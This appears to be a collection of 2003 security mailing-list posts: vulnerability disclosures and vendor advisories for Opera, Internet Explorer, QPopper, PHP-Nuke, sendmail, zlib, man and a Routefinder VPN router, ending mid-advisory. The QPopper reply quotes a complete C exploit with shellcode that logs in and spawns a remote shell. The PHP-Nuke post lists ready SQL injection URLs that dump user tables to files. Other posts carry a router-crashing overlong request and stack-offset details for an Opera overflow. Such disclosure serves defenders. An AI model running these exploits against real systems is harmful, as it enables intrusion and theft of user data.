[Opera 7/6] Long Filename Buffer Overflow Vulnerability in Download
Hi, all. We release the information about the vulnerability of Opera, here. And we hope that this vulnerability be fixed by Vendor immediately. ___ - Synopsis: [Opera 7/6] Long Filename Buffer Overflow Vulnerability in Download Product:Opera for Windows Version:7.02 build 2668 7.02 bork build 2656b 7.01 build 2651 6.05 build 1140 Vendor: Opera Software ASA (http://www.opera.com/) Risk: High. Execute arbitrary code Discovered By: imagine (Operash webmaster) Reported By:nesumin <[EMAIL PROTECTED]> Reported Date: 2003-03-06 Published Date: 2003-03-10 - Product : Opera for windows is GUI base WEB Browser. It has Mail, News, IM clients. Opera Software ASA http://www.opera.com/ OverView : Opera for Windows has the pernicious security hole. Opera does not check the filename's length when it downloads files. Therefore, if the file with "long filename" is downloaded while Opera shows the "Download Dialog", a buffer overflow occurs on the stack. It can overwrite saved RET address on the stack, and it enables to execute the arbitrary code. If the Opera user downloads the file which has long filename with malicious code inside, this vulnerability would allow the attacker to make your computer virus infected or destructed, etc. Tested on : Opera Opera7.02 build 2668 Opera7.02 bork build 2656b Opera7.01 build 2651 Opera6.05 build 1140 English edition and Japanese edition. Platform Windows98SE JP Windows2000 Pro SP3 JP WindowsXP Home SP1 JP Vulnerable in tested : Opera7.02 build 2668 Opera7.02 bork build 2656b Opera7.01 build 2651 Opera6.05 build 1140 Unvulnerable in tested : Non Vendor status : Already reported, 2003/03/06. Vendor said that this issue would be fixed in the next version due out very soon. Details : * Reproduce Step 1. Request file. Step 2. Response. Step 3. Try to display download dialog. Step 4. Buffer Overflow occurs if it has long filename. Opera does not check the length of the name of a file to download. If Opera requests the file and the server returns a response, the "Download Dialog" will be displayed depending on the contents of the response or file extensions. Then, it writes the temporary filename for checking file-type into the buffer on a stack. This temporary filename is generated based on the temporary directory name specified with the user environment variable and based on the download filename. (The file name is changed into 16bit WIDE characters) Buffer overflow will occur on a stack, when the long file name (more than the buffer size) is specified. Since the length of the file name is not checked there. The RET address is saved on the 4 bytes area of offsets 214H from the buffer. The offset from the Filename or the File Extension depends on the length of the temporary directory name. Shortly, there is the temporary directory name in the top of the buffer. And in the process of managing overwritten RET address, ESP register is pointing the next RET address. Therefore, it is possible to execute the arbitrary code by overwriting the "jmp ESP" op-code address with the RET address, and setting the code to the next RET address. It could be easy to execute arbitrary malicious codes if the attacker specifies the filename by "Inline Frame", "Frame", "Link", "Script" or etc. But it's slightly difficult to execute arbitrary codes if the filename is specified by a Meta data such as "Content-Disposition" header or etc. That's because the filename will be changed into the WIDE Character with "System Locale". Although in this case, it is by no means safe because the stack corruption, like overwriting RET address by the buffer overflow, can't prevent. * Opera 7 [Windows 2000, Windows XP] It has the area to which'd be referred after overwriting. The 4 bytes area of offset 04H from the next 4bytes area of the RET address. [Windows 9x] It has the area to which'd be referred after overwriting. The 4 bytes area of offset 04H from the next 4bytes area of the RET address, and the area after offset 2CH. The heap includes the same data of downloaded filename which the address ESP+54H points the head address. * Opera 6 If the filename includes ".", the offset value of the RET address starts from next of last ".". If "Encode all addresses with UTF-8" or "Determine action by MIME type" is disabled, it could be difficult to execute codes because the filename will be changed into the WIDE Character without "URL decode". Although in this
Re: .MHT Buffer Overflow in Internet Explorer
On 10 Mar 2003, Tom Tanaka wrote: > CANON SYSTEM SOLUTIONS INC. Security Alert > > VULNERABILITY:.MHT Buffer Overflow in Internet Explorer > > DATE FOUND:March 2, 2003 > > Severity:High Risk(code can be executed remotely) [snip] > The following error will occur when the above file is browsed by IE5. > > Unhandled exception in iexplore.exe: 0xC005: Access Violation. > > > > By debugging through the crash dump, the exception error is generated at > the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to > Kernel32. > > Register > EAX = EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190 > ESI = 05AD39D8 EDI = [EIP = 74CF497E] ESP = 0607B2BC > EBP = 0607B2FC EFL = 0246 [snip] > 74cf497b 8b461c mov eax,dword ptr [esi+1c] > 74cf497e 8b08 mov ecx,dword ptr [eax] //Exception At first glance, doesn't this look like a null pointer reference bug rather than a buffer overflow? The message didn't (clearly) specify which four bytes of memory the attacker could overwrite and how it would be possible to gain control of the program flow. Since you have classified this as critical, perhaps you could clarify these points? Does there exist a working exploit which does something else than crash IE? Thanks, -- Jouko Pynnonen Online Solutions Ltd Secure your Linux - [EMAIL PROTECTED]http://www.secmod.com
802.11b DoS exploit
While working to develop code for WIDZ that is equivalent to a standard Intrusion Detection systems RESET or SHUN functionality, an effective 802.11b disruption of service attack has been discovered. I havent spotted any other postings so here we go . FATA-jack - a modified version of the Wlan-jack, Fata-jack sends an Authentication-Failed packets (with a reason code of previous authentication failed) to a Wireless client PC. The source and destination macs have been spoofed so as to appear to come from the Access- point. The original Wlan-jack code rate of transmission has been significantly reduced to a meagre rate of 1 every 2.5 seconds, so as to avoid any flood effect. In limited tests on multiple operating systems including Windows98, Windows ME and Linux, FATA-jack effectively tears down any active session and in many cases causing the client driver or client software to fail requiring a reboot. Apart from being an extremely lethal DoS attack, FATA-jack is significant for a number of reasons: -As the transmission rate is very low, it is easy to see how a low-spec PC and a standard 802.11 card could disable a large wireless network. -As the malevolent packet are sent directly to the client these will not picked-up by logging functionality on the AP (if you have any) this highlights the need for Wireless IDS. -As the malevolent packets are spoofed AND sent directly to client MAC protection or WEP protection will not prevent it. -Some workmates have suggested that it could be used to cause IVs/WEP keys to be cycled. This would significantly reduce the time for a WEP cracking exercise. This is yet to be verified.
Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue
That's a very interesting situation with content filters and anti- virus filters. How many others are affected one must wonder. Try the following as well, nothing more than pure binary: http://www.malware.com/bin.exe.zip MIME-Version: 1.0 Content-Location:File://foo.exe Content-Transfer-Encoding: binary MZD ! ÿÿu > û0jry Lot more where that came from. End Call -- http://www.malware.com
Re: .MHT Buffer Overflow in Internet Explorer
I believe from ie6 SP1 on IE doesn't open any mht files directly from the web anymore. from the local filesystem it still works though. - Original Message - From: "Tom Tanaka" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, March 10, 2003 5:30 AM Subject: .MHT Buffer Overflow in Internet Explorer > > > CANON SYSTEM SOLUTIONS INC. Security Alert > > VULNERABILITY:.MHT Buffer Overflow in Internet Explorer > > DATE FOUND:March 2, 2003 > > Severity:High Risk(code can be executed remotely) > == > > SUMMARY: > > IE5 introduced the new 'Web Archive' format for storing web pages, which > have the extension MHT. The 'Web Archive' saves a web page as a single > document complete with all images. The format is a standard > mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit > and Base 64 decoder should be able to turn it into something usable with > your OS and browser of choice. > > This format is pretty nifty and usable, however, there is a potential > security breach found when used with encoded executable along with > malformed MIME header in the 'Web Archive'. If the encode data is > executable or has a single word "MZP" encoded within and Content-Type is > not designated, IE5 will be terminated by critical buffer > overflow.Consequently, one could compromise the client pc by executing > malicious code in the memory. > == > > AFFECTED SYSTEM: > > Microsoft Internet Explorer 5.5 and 6.0; prior versions are not > vulnerable. > == > > ANALYSIS: > > RFC822 describes the structure of message header used for the MIME. The > followings are some of the identifiers defined for the MIME header. > > MIME-Version: > Content-Type: > Content-Trasfer-Encoding: > Content-ID: > Content-Description: > > The 'Content-Type' is used for defining the types of media transfered. > The 'Web Archive' format utilizes the Multipart/Related content-type > (defined in RFC2387) to properly embed the multiple web content files. As > described in RFC2387, the Multipart/Related content-type provides a > common mechanism for representing objects that are aggregates of related > MIME body parts. When tranferring html or plain text data encoded in > the 'Web Archive', IE5 interprets as a plain text with 'carriage return' > code(0D0A) , otherwise as binary data without 'carriage return' code > (0D0A). By manipulating the MIME header structure and the Base64 encoded > data as an executable,4 bytes of memory can be overwritten. > > > PROOF OF CONCEPT: > > The following format is usually used for the Web Archive. > -- > From: > Subject: =?iso-2022-jp?B? > GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ==?= > Date: Tue, 4 Mar 2003 02:16:23 +0900 > MIME-Version: 1.0 > Content-Type: multipart/related; > boundary="=_NextPart_000__01C2E1F4.0D559EA0"; > type="text/html" > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 > > This is a multi-part message in MIME format. > > --=_NextPart_000__01C2E1F4.0D559EA0 > Content-Location:file:///tomatell.exe > Content-Transfer-Encoding: base64 > > TVpQ > -- > > > The following sample format contains malformed MIME header along with the > Base64 encoded executable. > -- > MIME-Version: 1.0 > --=_NextPart_000__01C2E1F4.0D559EA0 > Content-Location:file:///tomatell.exe > Content-Transfer-Encoding: base64 > > TVpQ > -- > > Note that the encoded string, "TVpQ", is the Win32 EXE signature located > at the first three bytes of the EXE header. This is for the Win32 system > to identify the data as a Win32 executable file. IE5 somehow reads this > signature and interprets the data as an executable whereas the MIME > encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text > data. Thus, IE5 creates a stream with a smaller buffersize than that of > Base64 decoder has. > > > The following error will occur when the above file is browsed by IE5. > > Unhandled exception in iexplore.exe: 0xC005: Access Violation. > > > > By debugging through the crash dump, the exception error is generated at > the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to > Kernel32. > > Register > EAX = EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190 > ESI = 05AD39D8 EDI = [EIP = 74CF497E] ESP = 0607B2BC > EBP = 0607B2FC EFL = 0246 > > > \KernelObjects\CritSecOutOfMemoryEvent > > 74cf494c ff157412cd74 calldword ptr > [KERNEL32.EnterCriticalSection] > 74cf4952 834e3c02 or dword ptr [esi+3c],+02 > 74cf4956 33ff xor edi,edi > 74cf4958 397e1c cmp dword ptr [esi+1c],
GLSA: ethereal (200303-10)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - - GENTOO LINUX SECURITY ANNOUNCEMENT 200303-10 - - - PACKAGE : ethereal SUMMARY : arbitrary code execution DATE : 2003-03-09 20:12 UTC EXPLOIT : remote VERSIONS AFFECTED : <0.9.10 FIXED VERSION : >=0.9.10 CVE : - - - - From advisory: "The SOCKS dissector in Ethereal 0.9.9 is susceptible to a format string overflow. This vulnerability has been present in Ethereal since the SOCKS dissector was introduced in version 0.8.7. It was discovered by Georgi Guninski. Additionally, the NTLMSSP code is susceptible to a heap overflow. All users of Ethereal 0.9.9 and below are encouraged to upgrade. " Read the full advisory at: http://www.ethereal.com/appnotes/enpa-sa-8.html SOLUTION It is recommended that all Gentoo Linux users who are running net-analyzer/ethereal upgrade to ethereal-0.9.10 as follows: emerge sync emerge ethereal emerge clean - - - [EMAIL PROTECTED] - GnuPG key is available at http://cvs.gentoo.org/~aliz - - - -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+a6A1fT7nyhUpoZMRAj6oAJ4wd+WBsHQEgFEuf22fWAueD6zjgACfV1uT rUKVwwCzAPiovynpwUE5N9c= =sn9d -END PGP SIGNATURE-
Re: QPopper 4.0.x buffer overflow vulnerability
Hello,
i just checked and got:
Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get
id
uid=503(test) gid=0(root) groups=0(root)
(Using Mailuser "test").
Same goes for Suse 8.0 (qpopper-4.0.3-168)
The overflow isnt logged anywhere, you just see normal pop logins.
Jonas
On Mon, 2003-03-10 at 15:31, Florian Heinz wrote:
> Hello,
>
> Under certain conditions it is possible to execute arbitrary code using
> a buffer overflow in the recent qpopper.
>
> You need a valid username/password-combination and code is (depending on
> the setup) usually executed with the user's uid and gid mail.
>
> Explanation:
>
> Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
> function is used unconditionally on any system, regardless if the system
> has its own vsnprintf().
> The function correctly writes up to 'n' bytes into the buffer, but fails
> to null-terminate it, if buffer-space runs out while copying the
> format-string (so the obvious fix is, null-terminate the buffer in
> Qvsnprintf()).
> This is a problem in pop_msg() (popper/pop_msg.c).
> The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
> the successive call to strcat (strcat(message,"\r\n")) writes somewhere
> into thew stack. What it exactly overwrites depends heavily on the
> individual binary and the current stack-data (where is the next
> null-byte).
> I successfully managed to execute arbitrary code using the
> 'mdef'-command with the binary in the most recent debian-package
> 'qpopper-4.0.4-8'
> Sending 'mdef ()' with a macro-name of about 1000 bytes
> fills the buffer leaving it unterminated. The strcat overwrites the
> least significant byte of the saved basepointer on the stack,
> now pointing inside the buffer. On return of pop_mdef() (file
> pop_extend.c), the return-address is now fetched from within our buffer
> (and of course pointing inside our buffer), allowing to, for example,
> spawn a shell.
> The Macroname may not include bytes causing isspace() to return true
> and, of course, no null-byte, so shellcode must be appropriate crafted.
> I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
> SuSE is more lucky, strcat doesn't overwrite critical values. I have
> not yet tested other distributions.
>
> Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
> debian qpopper-4.0.4-8:
>
> -- snip --
>
>
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
>"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
>"\x40\x40\xcd\x80";
>
> #define BUFLEN 1006
> #define RETLEN 148
> #define RETADDR 0xbfffd304
>
> int main (int argc, char **argv) {
>int fd, len, i, retaddr = RETADDR;
>char *bp, buf[2000];
>struct sockaddr_in peer;
>fd_set fs;
>
>if (argc != 4) {
> fprintf(stderr, "Usage: %s \n\n", argv[0]);
> exit(EXIT_FAILURE);
>}
>
>peer.sin_family = AF_INET;
>peer.sin_port = htons(110);
>peer.sin_addr.s_addr = inet_addr(argv[1]);
>fd = socket(AF_INET, SOCK_STREAM, 0);
>if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
> perror("connect");
> exit(EXIT_FAILURE);
>}
>snprintf(buf, 1024, "USER %s\n", argv[2]);
>write(fd, buf, strlen(buf));
>snprintf(buf, 1024, "PASS %s\n", argv[3]);
>write(fd, buf, strlen(buf));
>memset(buf, 0x90, 2000);
>memcpy(buf, "mdef ", 5);
>memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
>bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffc);
>for (i = 0; i < RETLEN; i += 4)
> memcpy(bp+i+2, &retaddr, sizeof(int));
>buf[BUFLEN-2] = '(';
>buf[BUFLEN-1] = ')';
>buf[BUFLEN] = '\n';
>write(fd, buf, BUFLEN+1);
>while (1) {
> FD_ZERO(&fs);
> FD_SET(0, &fs);
> FD_SET(fd, &fs);
> select(fd+1, &fs, NULL, NULL, NULL);
> if (FD_ISSET(0, &fs)) {
>if ((len = read(0, buf, 1000)) <= 0)
> break;
>write(fd, buf, len);
> } else {
>if ((len = read(fd, buf, 1000)) <= 0)
> break;
>write(1, buf, len);
> }
>}
>
>exit(EXIT_SUCCESS);
> }
>
> -- snap --
>
> This is the short version. An enhanced version with error-checking,
> bufsize- and return-address autodetection can be found on
> http://nstx.dereference.de/snippets/qex.c
>
> Feedback is welcome.
>
> regards,
>
> Florian Heinz
> Cronon AG
> http://www.cronon.org
>
> PS: sorry for the bad english ;)
>
SOHO Routefinder 550 VPN, DoS and Buffer Overflow
Name: SOHO Routefinder 550 VPN, DoS and Buffer Overflow Date: 11th of Marts 2003 Software affected: RF550VPN Firmware v463, v464 beta (prior versions are vulnerable - other models might be affected as well!) Advisory: http://www.krusesecurity.dk/advisories/routefind550bof.txt Vendor:http://www.multitech.com Risk: Medium/High Legal Notice: This Advisory is copyright by Peter Kruse. You may distribute this unmodified. Disclaimer: The opinions expressed in this advisory are my own and not that of any company. The usual standard disclaimer applies, especially the fact that Peter Kruse or Kruse Security is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Vendor Description: The SOHO RouteFinder is ideal for the small branch office or telecommuter who needs secure access to the corporate LAN. In addition to providing a WAN Ethernet port for DSL or cable broadband Internet access, it also offers both client-to-LAN and LAN-to-LAN VPN connectivity based on the IPSec protocol. It supports up to 5 IPSec tunnels and provides 3DES encryption with 700K bps throughput. Problem: The Multitech Routefinder supports login through a webinterface. By default the interface is enabled on the LAN side with a default login "admin" and a blank password. The weakness is found in the web software implemented on the router. A user on the LAN side is able to initiate a Denial of Service attack against the router and cause it to fail to respond. This would block all Internet trafic. More scary the fact that it's possible for a remote hostile attacker to execute code on the box. This is critical since the router is mainly used as a VPN box for the SOHO market. In order to attack the box from the outside it would require that the webinterface is enabled on the external side. This would often be done for remote administration. Description: The flaw can be exploited with a GET /OPTIONS parameter. By supplying an overlong URL: GET /OPTIONS A..[Ax10001]..A.HTML HTTP/1.1 we can break the box. This allows a hostile user to corrupt memory with attacker-supplied data. When the box receives the overlong URL it will reboot. Solution: Multitech has released new firmware that fixes this issue. The firmware can be downloaded from this URL: http://www.multitech.com/SUPPORT/SOHO_VPN/firmware.asp (Please note that the firmaware that fixes this issue is still named v 4.63. Log: 12.2.2003: Vendor contacted at (sales,support,[EMAIL PROTECTED]) 17.2.2003: Vendor contacted - reminder 19.2.2003: Reply - working to reproduce the problem 28.2.2003: Proof of concept code supplied in order to reproduce problem 7.3.2003: New firmware released - Tested and confirmed to fix the problem 11.3.2003: Official release of this advisory This advisory can be found online on my homepage: http://www.krusesecurity.dk/advisories/routefind550bof.txt Kind regards Peter Kruse Security Consultant Kruse Security http://www.krusesecurity.dk
Re: .MHT Buffer Overflow in Internet Explorer
Excellent! Yes, there has always been something suspicious about that spot. Simply writing the word [header] GIF89a in the same spot will create an empty image container: --phuquedup.mhtml- MIME-Version: 1.0 Content-Transfer-Encoding: 7bit GIF89a --phuquedup.mhtml- End Call -- http://www.malware.com
Vulnerability in man < 1.5l
man 1.5l was released today, fixing a bug which results in arbitrary code execution upon reading a specially formatted man file. The basic problem is, upon finding a string with a quoting problem, the function my_xsprintf in util.c will return "unsafe" (rather than returning a string which could be interpreted by the shell). This return value is passed directly to system(3) - meaning if there is any program named `unsafe`, it will execute with the privs of the user. Example: $ cat innocent.1 .so "".1 $ cat '"".1' # the outer '' quotes are for the shell the user will never see this $ cat `which unsafe` #!/bin/sh echo "oops" id -a $ man ./innocent.1 oops uid=528(lloyd) gid=100(users) groups=100(users) $ The location of the man pages and the binary are basically irrelevent, as long as: 1) man can find the man pages somewhere; both man pages have to be in the same subtree due to how man handles .so directives. /usr/share/man/man* works fine, as does the local directory (./manpage.1) case 2) the shell can find `unsafe` somewhere in $PATH The severity of this depends on lot on your systems, but is generally not very high. People running systems with publicly writeable contrib directories should probably do a quick `find . -name unsafe` just to be sure. Average home users probably don't have much to worry about, nor do most corporate environments. A simple workaround is to symlink /bin/unsafe to /bin/true. man 1.5l is not vulnerable to this problem. I would like to thank Andries Brouwer, the current `man` maintainer, for his fast response. Sources for the new version can be found at ftp://ftp.win.tue.nl/pub/linux-local/utils/man/
PHP-Nuke 6.0 & 6.5RC2 SQL Injection Again
Informations :
°°
Language : PHP
Website : http://www.phpnuke.org
Version : 6.0 & 6.5 RC2
Modules : Forums, Private_Messages
Problem : SQL Injection
PHP Code/Location :
°°°
/modules/Forums/viewtopic.php :
$sql = "SELECT forum_type, forum_id, forum_pass, forum_name, forum_access,
forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id =
'$forum'";
/modules/Forums/viewforum.php :
$sql = "SELECT f.forum_id, f.forum_type, f.forum_pass, f.forum_name,
u.uname, u.uid,m.forum_id,m.user_id FROM
${prefix}_forums f, ".$user_prefix."_users u, ${prefix}_forum_mods m
WHERE f.forum_id = '$forum' AND m.forum_id = '$forum' AND m.user_id =
u.uid";
/modules/Forums/reply.php :
$sql = "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM
${prefix}_forums WHERE (forum_id = '$forum')";
/modules/Forums/newtopic.php :
$sql = "SELECT forum_type, forum_pass, forum_name, forum_access,
forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id =
'$forum')";
/modules/Forums/editpost.php :
$sql
= "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM
${prefix}_forums WHERE forum_id = '$forum'";
/modules/Private_Messages/reply.php :
if ($reply || $send) {
if ($uname != "") {
$res = sql_num_rows(sql_query("select * from ".$user_prefix."_users where
uname='$uname'", $dbi), $dbi);
Exploits :
°°
- This will save forums informations into a txt file :
http://[target]/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'[path/to/site]/vt.txt
http://[target]/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/vf.txt'/*
http://[target]/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'[/path]/reply.txt'/*
http://[target]/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'[/path]/newtopic.txt'/*
http://[target]/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'[/path]/editpost.txt
etc...
- This will save all users informations into a txt file :
http://[target]/modules.php?name=Private_Messages&file=reply&send=1&uname='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/users.txt
Patch :
°°°
A patch can be found on http://www.phpsecure.info
More Details In French :
http://www.frog-man.org/tutos/PHP-Nuke6.0-Forums-Private_Messages.txt
[EMAIL PROTECTED]
_
Recevez vos e-mails MSN Hotmail par SMS sur votre GSM !
http://www.fr.msn.be/gsm/servicesms/hotmailparsms
Security Update: [CSSA-2003-010.0] Linux: remote buffer overflow in sendmail (CERT CA-2003-07)
To: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] __ SCO Security Advisory Subject:Linux: remote buffer overflow in sendmail (CERT CA-2003-07) Advisory number:CSSA-2003-010.0 Issue date: 2003 March 10 Cross reference: __ 1. Problem Description From CA-2003-07: Researchers at Internet Security Systems (ISS) have discovered a remotely exploitable vulnerability in sendmail. This vulnerability could allow an intruder to gain control of a vulnerable sendmail server. 2. Vulnerable Supported Versions System Package -- OpenLinux 3.1.1 Server prior to sendmail-8.11.6-13.i386.rpm prior to sendmail-cf-8.11.6-13.i386.rpm prior to sendmail-doc-8.11.6-13.i386.rpm OpenLinux 3.1.1 Workstation prior to sendmail-8.11.6-13.i386.rpm prior to sendmail-cf-8.11.6-13.i386.rpm prior to sendmail-doc-8.11.6-13.i386.rpm OpenLinux 3.1 Serverprior to sendmail-8.11.6-13.i386.rpm prior to sendmail-cf-8.11.6-13.i386.rpm prior to sendmail-doc-8.11.6-13.i386.rpm OpenLinux 3.1 Workstation prior to sendmail-8.11.6-13.i386.rpm prior to sendmail-cf-8.11.6-13.i386.rpm prior to sendmail-doc-8.11.6-13.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-010.0/RPMS 4.2 Packages 3750ebb1d4260068deab033eabfa605csendmail-8.11.6-13.i386.rpm cab29f331a22f7c0c44769efe80b746esendmail-cf-8.11.6-13.i386.rpm 41a25ff8da9ad6148cab4fd5a66b2c24sendmail-doc-8.11.6-13.i386.rpm 4.3 Installation rpm -Fvh sendmail-8.11.6-13.i386.rpm rpm -Fvh sendmail-cf-8.11.6-13.i386.rpm rpm -Fvh sendmail-doc-8.11.6-13.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-010.0/SRPMS 4.5 Source Packages 7acdf8b847351d0c571c2c0ed7c68dc6sendmail-8.11.6-13.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-010.0/RPMS 5.2 Packages ebca70ce6348b3d90de88c24a4443a44sendmail-8.11.6-13.i386.rpm ef0a8add4b49243cf2d79c5d7a86fe6csendmail-cf-8.11.6-13.i386.rpm 65f790cf1ff8bac1d41b9c4767c27362sendmail-doc-8.11.6-13.i386.rpm 5.3 Installation rpm -Fvh sendmail-8.11.6-13.i386.rpm rpm -Fvh sendmail-cf-8.11.6-13.i386.rpm rpm -Fvh sendmail-doc-8.11.6-13.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-010.0/SRPMS 5.5 Source Packages f4356e522f3d50cc8253330869e61669sendmail-8.11.6-13.src.rpm 6. OpenLinux 3.1 Server 6.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/CSSA-2003-010.0/RPMS 6.2 Packages b721b1c52f7e4b18cd65151bd4e1fedesendmail-8.11.6-13.i386.rpm ed725ab29d8773240447e779d4dcca88sendmail-cf-8.11.6-13.i386.rpm d29d3b797cac1f276098c179279e4dd4sendmail-doc-8.11.6-13.i386.rpm 6.3 Installation rpm -Fvh sendmail-8.11.6-13.i386.rpm rpm -Fvh sendmail-cf-8.11.6-13.i386.rpm rpm -Fvh sendmail-doc-8.11.6-13.i386.rpm 6.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/CSSA-2003-010.0/SRPMS 6.5 Source Packages f4e7d5bca2b4edaeadd47eb48a430ce7sendmail-8.11.6-13.src.rpm 7. OpenLinux 3.1 Workstation 7.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Workstation/CSSA-2003-010.0/RPMS 7.2 Packages b40facf59df6beac8d683bf5319b1efesendmail-8.11.6-13.i386.rpm 37dff1130c50606b7cc27dce20a73f21sendmail-cf-8.11.6-13.i386.rpm fa7baa4aef7cdaf5bcf4367862b3a8e8sendmail-doc-8.11.6-13.i386.rpm 7.3 Installation rpm -Fvh sendmail-8.11.6
Security Update: [CSSA-2003-011.0] Linux: format string vulnerability in zlib (gzprintf)
To: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] __ SCO Security Advisory Subject:Linux: format string vulnerability in zlib (gzprintf) Advisory number:CSSA-2003-011.0 Issue date: 2003 March 10 Cross reference: __ 1. Problem Description There is a buffer overflow in the gzprintf function in zlib that can enable attackers to cause a denial of service or possibly execute arbitrary code. 2. Vulnerable Supported Versions System Package -- OpenLinux 3.1.1 Server prior to libz-1.1.4-2.i386.rpm prior to libz-devel-1.1.4-2.i386.rpm prior to libz-devel-static-1.1.4-2.i386.rpm OpenLinux 3.1.1 Workstation prior to libz-1.1.4-2.i386.rpm prior to libz-devel-1.1.4-2.i386.rpm prior to libz-devel-static-1.1.4-2.i386.rpm OpenLinux 3.1 Serverprior to libz-1.1.4-2.i386.rpm prior to libz-devel-1.1.4-2.i386.rpm prior to libz-devel-static-1.1.4-2.i386.rpm OpenLinux 3.1 Workstation prior to libz-1.1.4-2.i386.rpm prior to libz-devel-1.1.4-2.i386.rpm prior to libz-devel-static-1.1.4-2.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-011.0/RPMS 4.2 Packages 54e3d653907b2aa8111939d208b1f48blibz-1.1.4-2.i386.rpm 7b6103ac070899d33ddc18ec0152c8adlibz-devel-1.1.4-2.i386.rpm bf687e8997a2c7413f183cf0398a797clibz-devel-static-1.1.4-2.i386.rpm 4.3 Installation rpm -Fvh libz-1.1.4-2.i386.rpm rpm -Fvh libz-devel-1.1.4-2.i386.rpm rpm -Fvh libz-devel-static-1.1.4-2.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-011.0/SRPMS 4.5 Source Packages cb073eedd69f6503fdaaf7a12ed37c10libz-1.1.4-2.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-011.0/RPMS 5.2 Packages 80a08ebf1d968f880b8bfeb9a91d9288libz-1.1.4-2.i386.rpm de1a572406aae392822c6b8fd9667c05libz-devel-1.1.4-2.i386.rpm 80f2a2de435d10d2acd957cc07790cf9libz-devel-static-1.1.4-2.i386.rpm 5.3 Installation rpm -Fvh libz-1.1.4-2.i386.rpm rpm -Fvh libz-devel-1.1.4-2.i386.rpm rpm -Fvh libz-devel-static-1.1.4-2.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-011.0/SRPMS 5.5 Source Packages dd564551f59c8675aec4cab15e6108dclibz-1.1.4-2.src.rpm 6. OpenLinux 3.1 Server 6.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/CSSA-2003-011.0/RPMS 6.2 Packages 5cc16bd91015ce00f468e747a5fc8772libz-1.1.4-2.i386.rpm 1d321ea1297616096fb5e1a3b72ec828libz-devel-1.1.4-2.i386.rpm 021368dbf124ba856d46fb85f072b010libz-devel-static-1.1.4-2.i386.rpm 6.3 Installation rpm -Fvh libz-1.1.4-2.i386.rpm rpm -Fvh libz-devel-1.1.4-2.i386.rpm rpm -Fvh libz-devel-static-1.1.4-2.i386.rpm 6.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Server/CSSA-2003-011.0/SRPMS 6.5 Source Packages 9707abacf6336b2d5cb62529a0021d97libz-1.1.4-2.src.rpm 7. OpenLinux 3.1 Workstation 7.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1/Workstation/CSSA-2003-011.0/RPMS 